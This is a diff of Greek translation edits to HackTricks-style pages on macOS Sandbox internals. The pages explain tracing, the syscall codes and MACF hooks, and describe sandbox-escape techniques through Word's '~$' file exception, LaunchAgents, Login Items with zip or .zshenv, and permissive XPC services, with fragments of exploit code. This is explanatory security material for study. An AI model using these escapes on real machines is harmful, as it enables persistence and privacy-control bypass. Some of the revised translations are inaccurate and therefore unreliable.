```bash
|
||||
sandbox-exec -f example.sb /Path/To/The/Application
|
||||
```
|
||||
@ -205,13 +205,13 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
|
||||
Παραδείγματα παρακάμψεων:
|
||||
|
||||
- [https://lapcatsoftware.com/articles/sandbox-escape.html](https://lapcatsoftware.com/articles/sandbox-escape.html)
|
||||
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράψουν αρχεία εκτός της απομόνωσης των οποίων το όνομα αρχίζει με `~$`).
|
||||
- [https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c](https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c) (μπορούν να γράψουν αρχεία εκτός της απομόνωσης των οποίων το όνομα ξεκινά με `~$`).
|
||||
|
||||
### Ιχνηλάτηση Απομόνωσης
|
||||
|
||||
#### Μέσω προφίλ
|
||||
|
||||
Είναι δυνατόν να ιχνηλατήσετε όλους τους ελέγχους που εκτελεί η απομόνωση κάθε φορά που ελέγχεται μια ενέργεια. Για αυτό, απλώς δημιουργήστε το παρακάτω προφίλ:
|
||||
Είναι δυνατόν να ιχνηλατηθούν όλοι οι έλεγχοι που εκτελεί η απομόνωση κάθε φορά που ελέγχεται μια ενέργεια. Για αυτό, απλώς δημιουργήστε το παρακάτω προφίλ:
|
||||
```scheme:trace.sb
|
||||
(version 1)
|
||||
(trace /tmp/trace.out)
|
||||
@ -253,11 +253,11 @@ sandbox-exec -f /tmp/trace.sb /bin/ls
|
||||
(let* ((port (open-input-string string)) (sbpl (read port)))
|
||||
(with-transparent-redirection (eval sbpl)))))
|
||||
```
|
||||
Αυτό θα **eval την αλφαριθμητική μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox.
|
||||
Αυτό θα **eval την αλφαβητική σειρά μετά από αυτή την εξουσιοδότηση** ως προφίλ Sandbox.
|
||||
|
||||
### Συγκέντρωση & αποσυμπίεση ενός προφίλ Sandbox
|
||||
|
||||
Το **`sandbox-exec`** εργαλείο χρησιμοποιεί τις συναρτήσεις `sandbox_compile_*` από το `libsandbox.dylib`. Οι κύριες συναρτήσεις που εξάγονται είναι: `sandbox_compile_file` (αναμένει μια διαδρομή αρχείου, παράμετρος `-f`), `sandbox_compile_string` (αναμένει μια αλφαριθμητική, παράμετρος `-p`), `sandbox_compile_name` (αναμένει ένα όνομα κοντέινερ, παράμετρος `-n`), `sandbox_compile_entitlements` (αναμένει plist εξουσιοδοτήσεων).
|
||||
Το **`sandbox-exec`** εργαλείο χρησιμοποιεί τις συναρτήσεις `sandbox_compile_*` από `libsandbox.dylib`. Οι κύριες συναρτήσεις που εξάγονται είναι: `sandbox_compile_file` (αναμένει μια διαδρομή αρχείου, παράμετρος `-f`), `sandbox_compile_string` (αναμένει μια αλφαβητική σειρά, παράμετρος `-p`), `sandbox_compile_name` (αναμένει ένα όνομα κοντέινερ, παράμετρος `-n`), `sandbox_compile_entitlements` (αναμένει plist εξουσιοδοτήσεων).
|
||||
|
||||
Αυτή η αντίστροφη και [**ανοιχτού κώδικα έκδοση του εργαλείου sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c) επιτρέπει στο **`sandbox-exec`** να γράφει σε ένα αρχείο το συγκεντρωμένο προφίλ sandbox.
|
||||
|
||||
@ -287,8 +287,8 @@ macos-sandbox-debug-and-bypass/
|
||||
|
||||
Οι επεκτάσεις αποθηκεύονται στη δεύτερη υποδοχή ετικέτας MACF που είναι προσβάσιμη από τα διαπιστευτήρια της διαδικασίας. Το ακόλουθο **`sbtool`** μπορεί να έχει πρόσβαση σε αυτές τις πληροφορίες.
|
||||
|
||||
Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το token επέκτασης του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να έχει πρόσβαση στις φωτογραφίες και επιτρεπόταν σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το token επέκτασης ώστε να προστεθεί σε αυτήν.\
|
||||
Σημειώστε ότι τα tokens επεκτάσεων είναι μακροχρόνια δεκαεξαδικά που κωδικοποιούν τις χορηγούμενες άδειες. Ωστόσο, δεν έχουν τον επιτρεπόμενο PID σκληρά κωδικοποιημένο, πράγμα που σημαίνει ότι οποιαδήποτε διαδικασία με πρόσβαση στο token μπορεί να **καταναλωθεί από πολλές διαδικασίες**.
|
||||
Σημειώστε ότι οι επεκτάσεις συνήθως χορηγούνται από επιτρεπόμενες διαδικασίες, για παράδειγμα, το `tccd` θα χορηγήσει το επεκτατικό token του `com.apple.tcc.kTCCServicePhotos` όταν μια διαδικασία προσπαθήσει να έχει πρόσβαση στις φωτογραφίες και επιτρεπόταν σε ένα μήνυμα XPC. Στη συνέχεια, η διαδικασία θα χρειαστεί να καταναλώσει το επεκτατικό token ώστε να προστεθεί σε αυτήν.\
|
||||
Σημειώστε ότι τα επεκτατικά tokens είναι μακροχρόνια δεκαεξαδικά που κωδικοποιούν τις χορηγούμενες άδειες. Ωστόσο, δεν έχουν τον επιτρεπόμενο PID σκληρά κωδικοποιημένο, πράγμα που σημαίνει ότι οποιαδήποτε διαδικασία με πρόσβαση στο token μπορεί να **καταναλωθεί από πολλές διαδικασίες**.
|
||||
|
||||
Σημειώστε ότι οι επεκτάσεις σχετίζονται πολύ και με τις εξουσιοδοτήσεις, οπότε η κατοχή ορισμένων εξουσιοδοτήσεων μπορεί αυτόματα να χορηγήσει ορισμένες επεκτάσεις.
|
||||
|
||||
@ -317,12 +317,12 @@ sbtool <pid> all
|
||||
|
||||
Αυτή η κλήση συστήματος (#381) αναμένει ένα string ως πρώτο επιχείρημα που θα υποδείξει το module που θα εκτελεστεί, και στη συνέχεια έναν κωδικό ως δεύτερο επιχείρημα που θα υποδείξει τη συνάρτηση που θα εκτελεστεί. Στη συνέχεια, το τρίτο επιχείρημα θα εξαρτάται από τη συνάρτηση που εκτελείται.
|
||||
|
||||
Η κλήση συνάρτησης `___sandbox_ms` περιτυλίγει το `mac_syscall` υποδεικνύοντας στο πρώτο επιχείρημα `"Sandbox"` όπως και η `___sandbox_msp` είναι μια περιτύλιξη του `mac_set_proc` (#387). Στη συνέχεια, μερικοί από τους υποστηριζόμενους κωδικούς από την `___sandbox_ms` μπορούν να βρεθούν σε αυτόν τον πίνακα:
|
||||
Η κλήση συνάρτησης `___sandbox_ms` περιτυλίγει το `mac_syscall` υποδεικνύοντας στο πρώτο επιχείρημα `"Sandbox"` όπως το `___sandbox_msp` είναι μια περιτύλιξη του `mac_set_proc` (#387). Στη συνέχεια, μερικοί από τους υποστηριζόμενους κωδικούς από το `___sandbox_ms` μπορούν να βρεθούν σε αυτόν τον πίνακα:
|
||||
|
||||
- **set_profile (#0)**: Εφαρμόστε ένα συμπιεσμένο ή ονομασμένο προφίλ σε μια διαδικασία.
|
||||
- **platform_policy (#1)**: Επιβάλλετε ελέγχους πολιτικής συγκεκριμένης πλατφόρμας (διαφέρει μεταξύ macOS και iOS).
|
||||
- **check_sandbox (#2)**: Εκτελέστε έναν χειροκίνητο έλεγχο μιας συγκεκριμένης λειτουργίας sandbox.
|
||||
- **note (#3)**: Προσθέτει μια σημείωση σε ένα Sandbox
|
||||
- **note (#3)**: Προσθέτει μια σημείωση σε ένα Sandbox.
|
||||
- **container (#4)**: Συνδέστε μια σημείωση σε ένα sandbox, συνήθως για αποσφαλμάτωση ή αναγνώριση.
|
||||
- **extension_issue (#5)**: Δημιουργήστε μια νέα επέκταση για μια διαδικασία.
|
||||
- **extension_consume (#6)**: Καταναλώστε μια δεδομένη επέκταση.
|
||||
@ -337,7 +337,7 @@ sbtool <pid> all
|
||||
- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) Ορίστε μεταδεδομένα λειτουργίας χρήστη στο sandbox.
|
||||
- **inspect (#16)**: Παρέχετε πληροφορίες αποσφαλμάτωσης σχετικά με μια διαδικασία που είναι sandboxed.
|
||||
- **dump (#18)**: (macOS 11) Εκτυπώστε το τρέχον προφίλ ενός sandbox για ανάλυση.
|
||||
- **vtrace (#19)**: Ιχνηλατήστε τις λειτουργίες sandbox για παρακολούθηση ή αποσφαλμάτωση.
|
||||
- **vtrace (#19)**: Παρακολουθήστε τις λειτουργίες sandbox για παρακολούθηση ή αποσφαλμάτωση.
|
||||
- **builtin_profile_deactivate (#20)**: (macOS < 11) Απενεργοποιήστε τα ονομασμένα προφίλ (π.χ., `pe_i_can_has_debugger`).
|
||||
- **check_bulk (#21)**: Εκτελέστε πολλές λειτουργίες `sandbox_check` σε μία μόνο κλήση.
|
||||
- **reference_retain_by_audit_token (#28)**: Δημιουργήστε μια αναφορά για ένα audit token για χρήση σε ελέγχους sandbox.
|
||||
@ -354,25 +354,25 @@ sbtool <pid> all
|
||||
|
||||
- **`hook_policy_init`**: Συνδέει το `mpo_policy_init` και καλείται μετά το `mac_policy_register`. Εκτελεί τις περισσότερες από τις αρχικοποιήσεις του Sandbox. Επίσης, αρχικοποιεί το SIP.
|
||||
- **`hook_policy_initbsd`**: Ρυθμίζει τη διεπαφή sysctl καταχωρώντας `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` και `security.mac.sandbox.debug_mode` (αν έχει εκκινήσει με `PE_i_can_has_debugger`).
|
||||
- **`hook_policy_syscall`**: Καλείται από το `mac_syscall` με "Sandbox" ως πρώτο επιχείρημα και κωδικό που υποδεικνύει τη λειτουργία στο δεύτερο. Χρησιμοποιείται ένα switch για να βρεθεί ο κωδικός που θα εκτελεστεί σύμφωνα με τον ζητούμενο κωδικό.
|
||||
- **`hook_policy_syscall`**: Καλείται από το `mac_syscall` με "Sandbox" ως πρώτο επιχείρημα και κωδικό που υποδεικνύει τη λειτουργία στο δεύτερο. Χρησιμοποιείται μια εναλλαγή για να βρεθεί ο κωδικός που θα εκτελεστεί σύμφωνα με τον ζητούμενο κωδικό.
|
||||
|
||||
### MACF Hooks
|
||||
|
||||
**`Sandbox.kext`** χρησιμοποιεί περισσότερους από εκατό hooks μέσω MACF. Οι περισσότεροι από τους hooks θα ελέγξουν απλώς ορισμένες τυπικές περιπτώσεις που επιτρέπουν την εκτέλεση της ενέργειας, αν όχι, θα καλέσουν **`cred_sb_evalutate`** με τα **διαπιστευτήρια** από το MACF και έναν αριθμό που αντιστοιχεί στην **λειτουργία** που θα εκτελεστεί και ένα **buffer** για την έξοδο.
|
||||
|
||||
Ένα καλό παράδειγμα αυτού είναι η συνάρτηση **`_mpo_file_check_mmap`** που έχει συνδεθεί με **`mmap`** και η οποία θα αρχίσει να ελέγχει αν η νέα μνήμη θα είναι εγγράψιμη (και αν όχι θα επιτρέψει την εκτέλεση), στη συνέχεια θα ελέγξει αν χρησιμοποιείται για την κοινή μνήμη dyld και αν ναι θα επιτρέψει την εκτέλεση, και τελικά θα καλέσει **`sb_evaluate_internal`** (ή μία από τις περιτυλίξεις της) για να εκτελέσει περαιτέρω ελέγχους επιτρεπόμενης πρόσβασης.
|
||||
Ένα καλό παράδειγμα αυτού είναι η συνάρτηση **`_mpo_file_check_mmap`** που συνδέει το **`mmap`** και η οποία θα αρχίσει να ελέγχει αν η νέα μνήμη θα είναι εγγράψιμη (και αν όχι θα επιτρέψει την εκτέλεση), στη συνέχεια θα ελέγξει αν χρησιμοποιείται για την κοινή μνήμη dyld και αν ναι θα επιτρέψει την εκτέλεση, και τελικά θα καλέσει **`sb_evaluate_internal`** (ή μία από τις περιτυλίξεις της) για να εκτελέσει περαιτέρω ελέγχους επιτρεπόμενης πρόσβασης.
|
||||
|
||||
Επιπλέον, από τους εκατοντάδες hooks που χρησιμοποιεί το Sandbox, υπάρχουν 3 που είναι ιδιαίτερα ενδιαφέροντα:
|
||||
|
||||
- `mpo_proc_check_for`: Εφαρμόζει το προφίλ αν χρειάζεται και αν δεν έχει εφαρμοστεί προηγουμένως
|
||||
- `mpo_proc_check_for`: Εφαρμόζει το προφίλ αν χρειάζεται και αν δεν έχει εφαρμοστεί προηγουμένως.
|
||||
- `mpo_vnode_check_exec`: Καλείται όταν μια διαδικασία φορτώνει το σχετικό δυαδικό, στη συνέχεια εκτελείται έλεγχος προφίλ και επίσης έλεγχος που απαγορεύει τις εκτελέσεις SUID/SGID.
|
||||
- `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το πιο χρονοβόρο καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμη. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports...
|
||||
- `mpo_cred_label_update_execve`: Αυτό καλείται όταν ανατίθεται η ετικέτα. Αυτό είναι το μεγαλύτερο καθώς καλείται όταν το δυαδικό έχει φορτωθεί πλήρως αλλά δεν έχει εκτελεστεί ακόμη. Θα εκτελέσει ενέργειες όπως η δημιουργία του αντικειμένου sandbox, η σύνδεση της δομής sandbox στα διαπιστευτήρια kauth, η αφαίρεση πρόσβασης σε mach ports...
|
||||
|
||||
Σημειώστε ότι **`_cred_sb_evalutate`** είναι μια περιτύλιξη πάνω από **`sb_evaluate_internal`** και αυτή η συνάρτηση παίρνει τα διαπιστευτήρια που περνιούνται και στη συνέχεια εκτελεί την αξιολόγηση χρησιμοποιώντας τη συνάρτηση **`eval`** που συνήθως αξιολογεί το **προφίλ πλατφόρμας** που εφαρμόζεται από προεπιλογή σε όλες τις διαδικασίες και στη συνέχεια το **συγκεκριμένο προφίλ διαδικασίας**. Σημειώστε ότι το προφίλ πλατφόρμας είναι ένα από τα κύρια στοιχεία του **SIP** στο macOS.
|
||||
|
||||
## Sandboxd
|
||||
|
||||
Το Sandbox έχει επίσης έναν daemon χρήστη που εκθέτει την υπηρεσία XPC Mach `com.apple.sandboxd` και δένει την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG.
|
||||
Το Sandbox έχει επίσης έναν daemon χρήστη που εκτελεί την υπηρεσία XPC Mach `com.apple.sandboxd` και δεσμεύει την ειδική θύρα 14 (`HOST_SEATBELT_PORT`) την οποία χρησιμοποιεί η επέκταση πυρήνα για να επικοινωνήσει μαζί της. Εκθέτει ορισμένες συναρτήσεις χρησιμοποιώντας MIG.
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -94,7 +94,7 @@ EOF
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
4. Υπογράψτε την εφαρμογή (χρειάζεται να δημιουργήσετε ένα πιστοποιητικό στο keychain)
|
||||
4. Υπογράψτε την εφαρμογή (πρέπει να δημιουργήσετε ένα πιστοποιητικό στο keychain)
|
||||
```bash
|
||||
codesign --entitlements entitlements.plist -s "YourIdentity" SandboxedShellApp.app
|
||||
./SandboxedShellApp.app/Contents/MacOS/SandboxedShellApp
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
|
||||
Ο μεταγλωττιστής θα συνδέσει το `/usr/lib/libSystem.B.dylib` με το δυαδικό αρχείο.
|
||||
|
||||
Στη συνέχεια, **`libSystem.B`** θα καλεί άλλες πολλές συναρτήσεις μέχρι να στείλει η **`xpc_pipe_routine`** τις εξουσιοδοτήσεις της εφαρμογής στο **`securityd`**. Το Securityd ελέγχει αν η διαδικασία θα πρέπει να είναι σε καραντίνα μέσα στο Sandbox, και αν ναι, θα μπει σε καραντίνα.\
|
||||
Στη συνέχεια, **`libSystem.B`** θα καλεί άλλες πολλές συναρτήσεις μέχρι να στείλει η **`xpc_pipe_routine`** τις εξουσιοδοτήσεις της εφαρμογής στο **`securityd`**. Ο Securityd ελέγχει αν η διαδικασία θα πρέπει να είναι σε καραντίνα μέσα στο Sandbox, και αν ναι, θα μπει σε καραντίνα.\
|
||||
Τέλος, το sandbox θα ενεργοποιηθεί με μια κλήση στο **`__sandbox_ms`** που θα καλέσει το **`__mac_syscall`**.
|
||||
|
||||
## Possible Bypasses
|
||||
@ -24,7 +24,7 @@
|
||||
> [!CAUTION]
|
||||
> Επομένως, αυτή τη στιγμή, αν είστε απλώς ικανοί να δημιουργήσετε έναν φάκελο με όνομα που τελειώνει σε **`.app`** χωρίς το quarantine attribute, μπορείτε να διαφύγετε από το sandbox γιατί το macOS μόνο **ελέγχει** το **quarantine** attribute στον **φάκελο `.app`** και στο **κύριο εκτελέσιμο** (και θα δείξουμε το κύριο εκτελέσιμο στο **`/bin/bash`**).
|
||||
>
|
||||
> Σημειώστε ότι αν ένα πακέτο .app έχει ήδη εξουσιοδοτηθεί να εκτελείται (έχει ένα quarantine xttr με την εξουσιοδότηση να εκτελείται), μπορείτε επίσης να το εκμεταλλευτείτε... εκτός αν τώρα δεν μπορείτε να γράψετε μέσα σε **`.app`** πακέτα εκτός αν έχετε κάποιες προνομιακές άδειες TCC (που δεν θα έχετε μέσα σε ένα sandbox υψηλής ασφάλειας).
|
||||
> Σημειώστε ότι αν ένα πακέτο .app έχει ήδη εξουσιοδοτηθεί να εκτελείται (έχει ένα quarantine xttr με την εξουσιοδότηση να εκτελείται), θα μπορούσατε επίσης να το εκμεταλλευτείτε... εκτός αν τώρα δεν μπορείτε να γράψετε μέσα σε **`.app`** πακέτα εκτός αν έχετε κάποιες προνομιακές άδειες TCC (που δεν θα έχετε μέσα σε ένα sandbox υψηλής ασφάλειας).
|
||||
|
||||
### Abusing Open functionality
|
||||
|
||||
@ -37,7 +37,7 @@ macos-office-sandbox-bypasses.md
|
||||
### Launch Agents/Daemons
|
||||
|
||||
Ακόμα και αν μια εφαρμογή είναι **σχεδιασμένη να είναι σε sandbox** (`com.apple.security.app-sandbox`), είναι δυνατόν να παρακαμφθεί το sandbox αν εκτελείται από έναν LaunchAgent (`~/Library/LaunchAgents`) για παράδειγμα.\
|
||||
Όπως εξηγήθηκε σε [**αυτή την ανάρτηση**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), αν θέλετε να αποκτήσετε επιμονή με μια εφαρμογή που είναι σε sandbox μπορείτε να την κάνετε να εκτελείται αυτόματα ως LaunchAgent και ίσως να εισάγετε κακόβουλο κώδικα μέσω μεταβλητών περιβάλλοντος DyLib.
|
||||
Όπως εξηγήθηκε σε [**αυτή την ανάρτηση**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818), αν θέλετε να αποκτήσετε επιμονή με μια εφαρμογή που είναι σε sandbox, θα μπορούσατε να την κάνετε να εκτελείται αυτόματα ως LaunchAgent και ίσως να εισάγετε κακόβουλο κώδικα μέσω μεταβλητών περιβάλλοντος DyLib.
|
||||
|
||||
### Abusing Auto Start Locations
|
||||
|
||||
@ -103,7 +103,7 @@ checkService(serviceName.UTF8String);
|
||||
find /System/Library/Frameworks -name "*.xpc"
|
||||
find /System/Library/PrivateFrameworks -name "*.xpc"
|
||||
```
|
||||
Μερικά παραδείγματα που εκμεταλλεύονται αυτή την τεχνική μπορούν να βρεθούν στην [**πρωτότυπη αναφορά**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), ωστόσο, τα παρακάτω είναι μερικά συνοπτικά παραδείγματα.
|
||||
Μερικά παραδείγματα κατάχρησης αυτής της τεχνικής μπορούν να βρεθούν στην [**αρχική αναφορά**](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/), ωστόσο, τα παρακάτω είναι μερικά συνοπτικά παραδείγματα.
|
||||
|
||||
#### /System/Library/PrivateFrameworks/StorageKit.framework/XPCServices/storagekitfsrunner.xpc
|
||||
|
||||
@ -130,7 +130,7 @@ NSLog(@"run task result:%@, error:%@", bSucc, error);
|
||||
```
|
||||
#### /System/Library/PrivateFrameworks/AudioAnalyticsInternal.framework/XPCServices/AudioAnalyticsHelperService.xpc
|
||||
|
||||
Αυτή η υπηρεσία XPC επέτρεπε σε κάθε πελάτη επιστρέφοντας πάντα ΝΑΙ και η μέθοδος `createZipAtPath:hourThreshold:withReply:` ουσιαστικά επέτρεπε να υποδειχθεί η διαδρομή σε έναν φάκελο προς συμπίεση και θα τον συμπίεζε σε ένα αρχείο ZIP.
|
||||
Αυτή η υπηρεσία XPC επέτρεπε σε κάθε πελάτη επιστρέφοντας πάντα ΝΑΙ και η μέθοδος `createZipAtPath:hourThreshold:withReply:` ουσιαστικά επέτρεπε να υποδείξει τη διαδρομή σε έναν φάκελο για συμπίεση και θα τον συμπίεζε σε ένα αρχείο ZIP.
|
||||
|
||||
Επομένως, είναι δυνατό να δημιουργηθεί μια ψεύτικη δομή φακέλου εφαρμογής, να συμπιεστεί, στη συνέχεια να αποσυμπιεστεί και να εκτελεστεί για να ξεφύγει από το sandbox καθώς τα νέα αρχεία δεν θα έχουν το χαρακτηριστικό καραντίνας.
|
||||
|
||||
@ -173,7 +173,7 @@ break;
|
||||
```
|
||||
#### /System/Library/PrivateFrameworks/WorkflowKit.framework/XPCServices/ShortcutsFileAccessHelper.xpc
|
||||
|
||||
Αυτή η υπηρεσία XPC επιτρέπει την παροχή δικαιωμάτων ανάγνωσης και εγγραφής σε μια αυθαίρετη διεύθυνση URL στον πελάτη XPC μέσω της μεθόδου `extendAccessToURL:completion:` που δέχεται οποιαδήποτε σύνδεση. Καθώς η υπηρεσία XPC έχει FDA, είναι δυνατόν να καταχραστούν αυτά τα δικαιώματα για να παρακαμφθεί εντελώς το TCC.
|
||||
Αυτή η υπηρεσία XPC επιτρέπει την παροχή πρόσβασης ανάγνωσης και εγγραφής σε μια αυθαίρετη διεύθυνση URL στον πελάτη XPC μέσω της μεθόδου `extendAccessToURL:completion:` που δέχεται οποιαδήποτε σύνδεση. Καθώς η υπηρεσία XPC έχει FDA, είναι δυνατόν να καταχραστούν αυτές οι άδειες για να παρακαμφθεί εντελώς το TCC.
|
||||
|
||||
Η εκμετάλλευση ήταν:
|
||||
```objectivec
|
||||
@ -219,7 +219,7 @@ ld: dynamic executables or dylibs must link with libSystem.dylib for architectur
|
||||
```
|
||||
### Όχι κληρονομούμενοι περιορισμοί
|
||||
|
||||
Όπως εξηγείται στο **[bonus of this writeup](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, ένας περιορισμός sandbox όπως:
|
||||
Όπως εξηγήθηκε στο **[μπόνους αυτού του κειμένου](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)**, ένας περιορισμός sandbox όπως:
|
||||
```
|
||||
(version 1)
|
||||
(allow default)
|
||||
@ -372,7 +372,7 @@ gcc -Xlinker -sectcreate -Xlinker __TEXT -Xlinker __info_plist -Xlinker Info.pli
|
||||
codesign -s <cert-name> --entitlements entitlements.xml sand
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Η εφαρμογή θα προσπαθήσει να **διαβάσει** το αρχείο **`~/Desktop/del.txt`**, το οποίο **η Sandbox δεν θα επιτρέψει**.\
|
||||
> Η εφαρμογή θα προσπαθήσει να **διαβάσει** το αρχείο **`~/Desktop/del.txt`**, το οποίο η **Sandbox δεν θα επιτρέψει**.\
|
||||
> Δημιουργήστε ένα αρχείο εκεί καθώς μόλις παρακαμφθεί η Sandbox, θα μπορεί να το διαβάσει:
|
||||
>
|
||||
> ```bash
|
||||
|
||||
@ -2,51 +2,51 @@
|
||||
|
||||
{{#include ../../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### Word Sandbox bypass via Launch Agents
|
||||
### Παράκαμψη Sandbox του Word μέσω Launch Agents
|
||||
|
||||
Η εφαρμογή χρησιμοποιεί ένα **custom Sandbox** χρησιμοποιώντας την εξουσία **`com.apple.security.temporary-exception.sbpl`** και αυτό το custom sandbox επιτρέπει την εγγραφή αρχείων οπουδήποτε, αρκεί το όνομα του αρχείου να ξεκινά με `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
Η εφαρμογή χρησιμοποιεί ένα **προσαρμοσμένο Sandbox** χρησιμοποιώντας την εξουσιοδότηση **`com.apple.security.temporary-exception.sbpl`** και αυτό το προσαρμοσμένο sandbox επιτρέπει τη γραφή αρχείων οπουδήποτε, αρκεί το όνομα του αρχείου να ξεκινά με `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
|
||||
|
||||
Επομένως, η εκμετάλλευση ήταν τόσο εύκολη όσο το **να γράψετε ένα `plist`** LaunchAgent στο `~/Library/LaunchAgents/~$escape.plist`.
|
||||
Επομένως, η παράκαμψη ήταν τόσο εύκολη όσο **η γραφή ενός `plist`** LaunchAgent στο `~/Library/LaunchAgents/~$escape.plist`.
|
||||
|
||||
Δείτε την [**αρχική αναφορά εδώ**](https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/).
|
||||
|
||||
### Word Sandbox bypass via Login Items and zip
|
||||
### Παράκαμψη Sandbox του Word μέσω Login Items και zip
|
||||
|
||||
Θυμηθείτε ότι από την πρώτη εκμετάλλευση, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`, αν και μετά την επιδιόρθωση της προηγούμενης ευπάθειας δεν ήταν δυνατή η εγγραφή στο `/Library/Application Scripts` ή στο `/Library/LaunchAgents`.
|
||||
Θυμηθείτε ότι από την πρώτη παράκαμψη, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`, αν και μετά την επιδιόρθωση της προηγούμενης ευπάθειας δεν ήταν δυνατή η γραφή στο `/Library/Application Scripts` ή στο `/Library/LaunchAgents`.
|
||||
|
||||
Ανακαλύφθηκε ότι από μέσα στο sandbox είναι δυνατό να δημιουργηθεί ένα **Login Item** (εφαρμογές που θα εκτελούνται όταν ο χρήστης συνδέεται). Ωστόσο, αυτές οι εφαρμογές **δεν θα εκτελούνται εκτός αν** είναι **notarized** και **δεν είναι δυνατή η προσθήκη args** (οπότε δεν μπορείτε απλά να εκτελέσετε ένα reverse shell χρησιμοποιώντας **`bash`**).
|
||||
|
||||
Από την προηγούμενη εκμετάλλευση του Sandbox, η Microsoft απενεργοποίησε την επιλογή να γράφει αρχεία στο `~/Library/LaunchAgents`. Ωστόσο, ανακαλύφθηκε ότι αν βάλετε ένα **zip αρχείο ως Login Item**, το `Archive Utility` θα **αποσυμπιέσει** απλώς το αρχείο στην τρέχουσα τοποθεσία του. Έτσι, επειδή από προεπιλογή ο φάκελος `LaunchAgents` από το `~/Library` δεν δημιουργείται, ήταν δυνατό να **zip ένα plist στο `LaunchAgents/~$escape.plist`** και να **τοποθετήσετε** το zip αρχείο στο **`~/Library`** έτσι ώστε όταν αποσυμπιεστεί να φτάσει στον προορισμό επιμονής.
|
||||
Από την προηγούμενη παράκαμψη Sandbox, η Microsoft απενεργοποίησε την επιλογή να γράφει αρχεία στο `~/Library/LaunchAgents`. Ωστόσο, ανακαλύφθηκε ότι αν βάλετε ένα **zip αρχείο ως Login Item**, το `Archive Utility` θα **αποσυμπιέσει** απλώς το αρχείο στην τρέχουσα τοποθεσία του. Έτσι, επειδή από προεπιλογή ο φάκελος `LaunchAgents` από το `~/Library` δεν δημιουργείται, ήταν δυνατό να **zip ένα plist στο `LaunchAgents/~$escape.plist`** και να **τοποθετήσετε** το zip αρχείο στο **`~/Library`**, έτσι ώστε όταν αποσυμπιεστεί να φτάσει στον προορισμό επιμονής.
|
||||
|
||||
Δείτε την [**αρχική αναφορά εδώ**](https://objective-see.org/blog/blog_0x4B.html).
|
||||
|
||||
### Word Sandbox bypass via Login Items and .zshenv
|
||||
### Παράκαμψη Sandbox του Word μέσω Login Items και .zshenv
|
||||
|
||||
(Θυμηθείτε ότι από την πρώτη εκμετάλλευση, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`).
|
||||
(Θυμηθείτε ότι από την πρώτη παράκαμψη, το Word μπορεί να γράψει αυθαίρετα αρχεία των οποίων το όνομα ξεκινά με `~$`).
|
||||
|
||||
Ωστόσο, η προηγούμενη τεχνική είχε έναν περιορισμό, αν ο φάκελος **`~/Library/LaunchAgents`** υπάρχει επειδή κάποιο άλλο λογισμικό τον δημιούργησε, θα αποτύχει. Έτσι, ανακαλύφθηκε μια διαφορετική αλυσίδα Login Items για αυτό.
|
||||
|
||||
Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει τα αρχεία **`.bash_profile`** και **`.zshenv`** με το payload για εκτέλεση και στη συνέχεια να τα zip και **να γράψει το zip στον φάκελο του θύματος**: **`~/~$escape.zip`**.
|
||||
Ένας επιτιθέμενος θα μπορούσε να δημιουργήσει τα αρχεία **`.bash_profile`** και **`.zshenv`** με το payload για εκτέλεση και στη συνέχεια να τα zip και **να γράψει το zip στο φάκελο του θύματος**: **`~/~$escape.zip`**.
|
||||
|
||||
Στη συνέχεια, προσθέστε το zip αρχείο στα **Login Items** και στη συνέχεια την εφαρμογή **`Terminal`**. Όταν ο χρήστης ξανασυνδεθεί, το zip αρχείο θα αποσυμπιεστεί στον φάκελο του χρήστη, αντικαθιστώντας **`.bash_profile`** και **`.zshenv`** και επομένως, το τερματικό θα εκτελέσει ένα από αυτά τα αρχεία (ανάλογα με το αν χρησιμοποιείται bash ή zsh).
|
||||
